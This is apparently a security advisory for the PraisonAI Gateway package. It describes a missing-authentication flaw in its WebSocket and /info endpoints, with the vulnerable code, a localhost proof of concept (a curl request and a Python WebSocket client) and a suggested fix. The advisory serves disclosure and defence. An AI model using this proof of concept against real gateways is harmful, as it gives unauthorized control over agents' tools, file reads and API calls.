PT-2026-53550 · Pypi · Praisonai
Published
2026-06-29
·
Updated
2026-06-29
CVSS v3.1
9.1
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
Summary
The PraisonAI Gateway server accepts WebSocket connections at
/ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.Details
gateway/server.py:242 (source) -> gateway/server.py:250 (sink)python
# source -- /info leaks all agent IDs with no auth
async def info(request):
return JSONResponse({
"agents": list(self. agents.keys()),
"sessions": len(self. sessions),
"clients": len(self. clients),
})
# sink -- WebSocket accepted unconditionally, no token check
async def websocket endpoint(websocket: WebSocket):
await websocket.accept()
client id = str(uuid.uuid4())
self. clients[client id] = websocket
# processes any message from any clientPoC
bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &
# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}
# Step 2 - connect to WebSocket, no token
python3 -c "
import asyncio, websockets, json
async def run():
async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
print('Connected with no auth')
await ws.send(json.dumps({'type': 'join', 'agent id': 'assistant'}))
print(await asyncio.wait for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
# {"type": ...} -- server responds, connection acceptedImpact
Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via
/info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth token field that is never enforced in the handler.Suggested Fix
python
async def websocket endpoint(websocket: WebSocket):
token = websocket.query params.get("token") or
websocket.headers.get("Authorization", "").removeprefix("Bearer ")
if self. config.auth token and token != self. config.auth token:
await websocket.close(code=4001, reason="Unauthorized")
return
await websocket.accept()Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonai